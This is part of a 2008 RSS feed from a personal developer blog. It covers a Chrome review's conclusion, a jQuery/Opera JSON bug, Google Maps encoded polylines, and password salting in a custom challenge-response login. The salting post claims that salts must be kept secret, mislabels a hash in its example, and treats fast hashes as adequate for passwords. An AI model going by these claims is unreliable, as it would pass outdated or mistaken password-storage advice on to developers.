<h3>Conclusions</h3>
<p>All things considered, Chrome is a very good entry into the browser market.  While I don&#8217;t think it&#8217;s ready to take on Firefox or IE yet, it does provide competition.  So as long as Chrome continues to support standards (which I think it will, since it uses the WebKit renderer and Google has also been forthcoming with their <a href="http://www.google.com/chrome/intl/en/webmasters.html">support for web developers</a>), I won&#8217;t have a problem with it.  I won&#8217;t be switching over to it anytime soon, but at the very least it&#8217;ll be a useful development tool to verify/test my websites on to make sure they look proper in Safari/Konqueror/Chrome.</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2008/09/02/google-chrome-what-it-offers/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Upgrade jQuery for better Opera support (Or just upgrade Opera)</title>
		<link>http://unitstep.net/blog/2008/06/25/upgrade-jquery-for-better-opera-support-or-just-upgrade-opera/</link>
		<comments>http://unitstep.net/blog/2008/06/25/upgrade-jquery-for-better-opera-support-or-just-upgrade-opera/#comments</comments>
		<pubDate>Thu, 26 Jun 2008 00:45:43 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[browsers]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[opera]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=336</guid>
		<description><![CDATA[I ran into a weird problem while testing one of my sites that used jQuery with Opera 9.26. (I happened to be using this older version of Opera because I am lazy to upgrade; I&#8217;m still using Firefox 2 despite the successful launch of FF3) The issue was with an Ajax request I was sending. [...]]]></description>
			<content:encoded><![CDATA[<p>I ran into a weird problem while testing one of my sites that used jQuery with Opera 9.26.  (I happened to be using this older version of Opera because I am lazy to upgrade; I&#8217;m still using Firefox 2 despite the successful launch of FF3)</p>
<p>The issue was with an Ajax request I was sending.  The return value was an array in JSON form.  More specifically, the server was returning something like:</p>
<pre><code>{tag:[{id1:'A',id2:'B'}, {id1:'A',id2:'B'}, {id1:'A',id2:'B'}]}</code></pre>
<p>This was perfectly valid and worked fine in both Firefox and Internet Explorer.  However, in Opera 9.26, I got a JavaScript error indicating that the JSON was not valid.  It was then that I realized I was using an older version of jQuery, v1.2.2.  <a href="http://docs.jquery.com/Downloading_jQuery">Upgrading to the latest</a>, 1.2.6 fixed the problem.  Strangely, I could not find anything on their bug tracker indicating that such a problem (JSON and Opera) had been fixed.</p>
<p>What was even more interesting was that <a href="http://www.opera.com/download/">upgrading to Opera 9.50</a> also solved the problem independently; that is, things worked fine even with the older version of jQuery.  This goes to show the importance of keeping your software up to date and highlights the complicated interactions between different browsers and client-side code in a web application. </p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2008/06/25/upgrade-jquery-for-better-opera-support-or-just-upgrade-opera/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Playing with Google Maps and encoded polylines</title>
		<link>http://unitstep.net/blog/2008/05/11/playing-with-google-maps-and-encoded-polylines/</link>
		<comments>http://unitstep.net/blog/2008/05/11/playing-with-google-maps-and-encoded-polylines/#comments</comments>
		<pubDate>Mon, 12 May 2008 01:35:59 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[maps]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[google maps]]></category>
		<category><![CDATA[polylines]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=324</guid>
		<description><![CDATA[I&#8217;ve been playing around with the Google Maps API for a bit and it&#8217;s turned out to be a great way to get started with &#8220;mashups&#8221; and the like. One of the best uses of the API is the ability to create paths or routes on the map. This is done by creating GPolyline object [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/05/google-maps.gif" alt="" title="google-maps" /></p>
<p>I&#8217;ve been playing around with the <a href="http://code.google.com/apis/maps/documentation/index.html">Google Maps API</a> for a bit and it&#8217;s turned out to be a great way to get started with &#8220;mashups&#8221; and the like.  One of the best uses of the API is the ability to create paths or routes on the map.</p>
<p>This is done by creating <a href="http://code.google.com/apis/maps/documentation/overlays.html#Polylines_Overview"><code>GPolyline</code></a> object and then adding it as an overlay to the map.  Basically, a polyline is just an ordered list of geographical points/coordinates on the map, each of which is a <a href="http://code.google.com/apis/maps/documentation/reference.html#GLatLng"><code>GLatLng</code></a> object.  For serialization/storage of polylines, there is an <a href="http://code.google.com/apis/maps/documentation/polylinealgorithm.html">algorithm you can use</a> to Base64-encode a series of points; the resultant string can later be passed directly into a factory method to regenerate the <code>GPolyline</code>.  By using encoded polylines, you also get access to a few more interesting and useful options related to rendering and performance issues.</p>
<h3>Encoded Polylines</h3>
<p>Despite the <a href="http://code.google.com/apis/maps/documentation/polylinealgorithm.html">algorithm for encoding polylines</a> being readily available on the Google Maps API documentation site, there is no built-in functionality within the API for generating the encoded polyline string from an existing <code>GPolyline</code> object.  This might be a bit strange, but it&#8217;s probably because the encoding process requires some extra values that aren&#8217;t available in the typical polyline.</p>
<p>As specified on the algorithm page, you also need to specify a list of encoded &#8220;levels&#8221; in addition to the points themselves.  These levels tell the the Google Maps renderer when certain points can be omitted from the polyline depending on the zoom level.  For example, with a polyline with <em>n</em> points, you&#8217;ll <strong>always</strong> want to show the first and last point, no matter what the zoom level.  However, intermediate points can potentially be omitted at low zoom levels and only shown when the map has been sufficiently zoomed in to warrant the detail.  This sort of optimization cannot be done with the typical <code>GPolyline</code> constructor that just takes an array of points. (<code>GLatLng</code> objects)</p>
<h3>Making things easy</h3>
<p>If you&#8217;ve looked at the <a href="http://code.google.com/apis/maps/documentation/polylinealgorithm.html">polyline encoding algorithm</a>, you&#8217;ll probably notice that it&#8217;s a bit tricky unless you&#8217;ve taken course in CS or done a lot of this stuff before. (At least it was tricky for me)  Google has an <a href="http://code.google.com/apis/maps/documentation/polylineutility.html">interactive utility</a> for generating the encoded polyline format for you.  The results can then be stored and later fed into a call to the factory method <a href="http://code.google.com/apis/maps/documentation/reference.html#GPolyline"><code>GPolyline.fromEncoded()</code></a> to regenerate the polyline.</p>
<p>However if you want to generate the encoded polyline format on-the-fly as part of your application, the interactive utility is not really an option.  Instead of coding the algorithm from the ground-up, there&#8217;s a much better way of doing things, thanks to the <a href="http://facstaff.unca.edu/mcmcclur/GoogleMaps/EncodePolyline/">PolylineEncoder class</a> and other utilities provided by <a href="http://facstaff.unca.edu/mcmcclur/">Mark McClure</a>.</p>
<p>The <a href="http://facstaff.unca.edu/mcmcclur/GoogleMaps/EncodePolyline/PolylineEncoderClass.html">PolylineEncoder class</a> is written in JavaScript and is very straightforward in its usage.  (It has been ported to several other languages as listed on <a href="http://facstaff.unca.edu/mcmcclur/GoogleMaps/EncodePolyline/">his site</a>, in case you need to use it in different contexts)</p>
<p>Using this class allows you to quickly and easily convert a <code>GPolyline</code> into a compact encoded format useful for serialization or storage.  You can also use the class to convert arrays of points into encoded polylines, thus gaining the benefit of optimized rendering at different zoom levels.  McClure goes into an in-depth, but easy to understand <a href="http://facstaff.unca.edu/mcmcclur/GoogleMaps/EncodePolyline/algorithm.html">explanation of the encoding algorithm used</a> complete with animations that show exactly how the polyline approximations work.</p>
<p>I highly recommend the usage of his polyline encoder as it saves you the headache of implementing it yourself.  It&#8217;s well-written, thoroughly documented and is free for usage. (It isn&#8217;t licensed under open-source terms but has instead been placed in the public domain &#8211; which is perhaps even more &#8220;free&#8221;) McClure also has a few other <a href="http://facstaff.unca.edu/mcmcclur/GoogleMaps/">interesing Google Maps projects</a> that you may want to check out.</p>
<h3>Some documentation warnings</h3>
<p>The Google Maps API documentation is fairly thorough, but it&#8217;s out of date in some places, as <a href="http://groups.google.com/group/Google-Maps-API/browse_thread/thread/e0861bacc7531b08/b5e504771ebb12c4">some people have found</a>.  Indeed, in this case, it appears that the <code>GPolyline.fromEncoded()</code> is documented somewhat wrongly in the API reference, though curiously, is used properly in their <a href="http://code.google.com/apis/maps/documentation/overlays.html#Polylines_Overview">examples page</a>.  </p>
<p>Specifically, you <strong>should not</strong> use:</p>
<pre><code>GPolyline.fromEncoded(color?,  weight?,  opacity?,  latlngs,  zoomFactor,  levels,  numLevels)</code></pre>
<p>if you want to generate a polyline from the encoded format.  Instead, you should use something like:</p>
<pre><code>GPolyline.fromEncoded({
    color: "#FF0000",
    weight: 10,
    points: "yzocFzynhVq}@n}@o}@nzD",
    levels: "BBB",
    zoomFactor: 32,
    numLevels: 4
});</code></pre>
<p>This is because the API has been updated to accept an object of options instead of separate parameters.  This, in my opinion, is better for readability and takes advantage of JavaScript&#8217;s ability to define inline anonymous object literals.  </p>
<p>As a side note, the example actually calls something like <code>new GPolyline.fromEncoded</code>, but I&#8217;ve found that you don&#8217;t need the <code>new</code> keyword, and in fact, it&#8217;s a bit confusing that the example has it and that it would work &#8211; after all, you are calling a factory method that returns a type of <code>GPolyline</code>, and not directly instantiating an object. (At least as far as <a href="/blog/2008/01/24/javascript-and-inheritance/">JavaScript uses the <code>new</code> keyword</a>)</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2008/05/11/playing-with-google-maps-and-encoded-polylines/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Password salting and the modified Challenge-Response system</title>
		<link>http://unitstep.net/blog/2008/04/28/password-salting-and-the-modified-challenge-response-system/</link>
		<comments>http://unitstep.net/blog/2008/04/28/password-salting-and-the-modified-challenge-response-system/#comments</comments>
		<pubDate>Tue, 29 Apr 2008 01:12:42 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[Ajax]]></category>
		<category><![CDATA[authentication]]></category>
		<category><![CDATA[CHAP]]></category>
		<category><![CDATA[chap-php]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[login]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[challenge-response]]></category>
		<category><![CDATA[salting]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=312</guid>
		<description><![CDATA[Since I released my demo/example modified Challenge-Response Ajax PHP Login System about a month ago (which was based on ideas from Paul Johnston), I&#8217;ve been receiving some questions about why salting was not incorporated into the system. In particular, there was a discussion at a Dutch-language forums, which I somewhat understood after Google translation. Here, [...]]]></description>
			<content:encoded><![CDATA[<p>Since I released my demo/example <a href="/blog/2008/03/29/a-challenge-response-ajax-php-login-system/">modified Challenge-Response Ajax <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> Login System</a> about a month ago (which was based on ideas from <a href="http://pajhome.org.uk/crypt/md5/auth.html">Paul Johnston</a>), I&#8217;ve been receiving some questions about why <a href="http://en.wikipedia.org/wiki/Salt_(cryptography)">salting</a> was not incorporated into the system.  In particular, there was a <a href="http://gathering.tweakers.net/forum/list_messages/1284731///salt">discussion</a> at a Dutch-language forums, which I somewhat understood after <a href="http://www.google.com/translate?u=http%3A%2F%2Fgathering.tweakers.net%2Fforum%2Flist_messages%2F1284731%2F%2F%2Fsalt&#038;langpair=nl%7Cen&#038;hl=en&#038;ie=UTF8">Google translation</a>. </p>
<p>Here, I&#8217;ll try to address some of these concerns and answer some questions.</p>
<h3>Salt of the earth</h3>
<p>To understand why salting is used, we must first understand exactly what it is.  Just like regular salt, in cryptography, salting is used to alter the &#8220;taste&#8221; or output of some process. </p>
<p>In the case of password storage, most people would realize that you should <em>never</em> store lists of users&#8217; passwords in plaintext, because if that data is ever compromised, attackers will gain access not only the compromised accounts but could potentially use the passwords to gain access to user accounts on other services/sites.  This is because people often reuse the same passwords across multiple account/services.</p>
<p>The easiest way to avoid this is to store the <em>hash</em> of the password.  A hash is a one-way function, that is, once you compute the hash of a value, you cannot obtain the original from just the hashed value.  Some typical hash functions are MD5 or the more secure family of SHA hash functions.</p>
<p>However, this still doesn&#8217;t fully conceal passwords.  If an attacker were to obtain the list of hashed passwords, they could try a dictionary-based attack to discover the original inputs.  This involves hashing common words to see if they hash to the correct value.  Since people often use common words or combinations of such, a dictionary-based attack has the advantage of having far fewer combinations that the attacker needs to try compared to a true brute-force attack.</p>
<h3>Adding variability</h3>
<p>This problem can be mitigated by salting, which basically amounts to combining the password with additional input before passing it into the hash function.  This alters the end output from the hash function so that a dictionary-based attack cannot be used, <strong>provided the salt is kept a secret</strong>.  A comparison example:</p>
<pre><code>Without salting:
hash(A) -&gt; B;

With salting:
hash (A + S) -&gt; C;</code></pre>
<p>In the first example, salting was not used before hashing.  Assuming the value &#8216;A&#8217; is a common word or phrase, an attacker can use a dictionary-attack to determine what the value of &#8216;A&#8217; was. (I.E. what value hashes to the value of &#8216;C&#8217;)</p>
<p>With salting, things become more difficult.  If the attacker does not know the value of the salt (S), they cannot use a dictionary-based attack because the actual input will not be a common word or phrase.  Instead, they must try all values in the dictionary <em>with</em> all possible values of the salt.  In fact, every bit of the added salt value doubles the number of computations in a dictionary-based attack.  The important point to retain here is the <strong>salt value must be kept a secret</strong> in order to obtain this benefit.</p>
<p>One other benefit of salting is to ensure that two accounts with the same password don&#8217;t produce the same hash.  This can be accomplished by making different accounts have different salts.  The obvious benefit of this is to decrease the information leakage from the hashes, as otherwise, equivalent hashes would infer equivalent passwords.</p>
<h3>Salting and the modified Challenge-Response System</h3>
<p>With the <a href="/blog/2008/03/29/a-challenge-response-ajax-php-login-system/">modified challenge-response system</a>, it isn&#8217;t clear to me how salting could be used to improve it.  Here&#8217;s a quick re-cap of how it works:</p>
<blockquote><p>
Signup:</p>
<p>1. Server sends random1<br />
2. Client sends hex_sha1(hex_hmac_sha1(password, random1))</p>
<p>Login:</p>
<p>1. Server sends random1 and random2<br />
2. Client sends hex_hmac_sha1(password, random1) and hex_sha1(hex_hmac_sha1(password, random2))
</p></blockquote>
<p>To login, the user must present two values: One to verify that they know the password, and the second value, which is used to set the response that must be computed for the <em>next login</em>.</p>
<p>Because the client must compute the next response value, it&#8217;s a bit tricky to implement salting in a way that&#8217;s beneficial. </p>
<p>One possible method would be to further hash the second value (<code>hex_sha1(hex_hmac_sha1(password, random1))</code>) with a <strong>server secret</strong> before storing it in the database.  This would complicate things should the database be compromised but not the server secret, since a dictionary attack would become much harder with the extra variability of a server secret.  In this case, the work flow would look something like this:</p>
<h4>Signup</h4>
<ol>
<li>Server sends random1</li>
<li>Client sends hex_sha1(hex_hmac_sha1(password, random1)) [<strong>Let's call this value `hashed_challenge_response` for brevity</strong>]</li>
<li>Server stores hex_hmac_sha1(server_secret, hashed_challenge_response)</li>
</ol>
<h4>Login:</h4>
<ol>
<li>Server sends random1 and random2</li>
<li>Client sends hex_hmac_sha1(password, random1) and hex_sha1(hex_hmac_sha1(password, random2))</li>
<li>Server computes hex_sha1(hex_hmac_sha1(password, random1)) [<strong>Call this `hashed_challenge_response_received`</strong>]</li>
<li>Server checks if hex_hmac_sha1(server_secret, hashed_challenge_response_received) equals the value previously stored.  If so, authentication was successful and a new challenge-response is stored based on the second value received.</li>
</ol>
<p>Note that this method <strong>would not improve the login security anymore</strong>, since an attacker who captured the intermediate traffic of a successful login could still conduct an offline dictionary attack, which this challenge-response system is unfortunately susceptible to.</p>
<p>However, the modified system does benefit from the use of the `random1` and `random2` challenge strings, which are stored alongside the response values.  Since these are random and different for each user (and for each subsequent login), accounts with the same password will not have the same hash-response.  This effectively gives the second lesser benefit of salting.</p>
<p>The modified challenge-response system also suffers from the inability of the server to enforce strong passwords.  Because the initial value sent during registration is a hashed value of the password and a random value, the server cannot be aware of any properties of the password such as its length or composition.  The only aspect that could be enforced server-side would be to make sure the password was not blank!  My suggestion is to (attempt to) enforce password complexity using JavaScript on the client side.  Such rules can obviously be circumvented but are better than nothing.</p>
<h3>Conclusion</h3>
<p>Hopefully I&#8217;ve shed some light on the topic of salting in relation to the modified challenge-response Ajax <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> login system.  I&#8217;m no security expert, so you should not take my advise as scripture.  Please don&#8217;t hesitate to give me your comments or feedback!</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2008/04/28/password-salting-and-the-modified-challenge-response-system/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

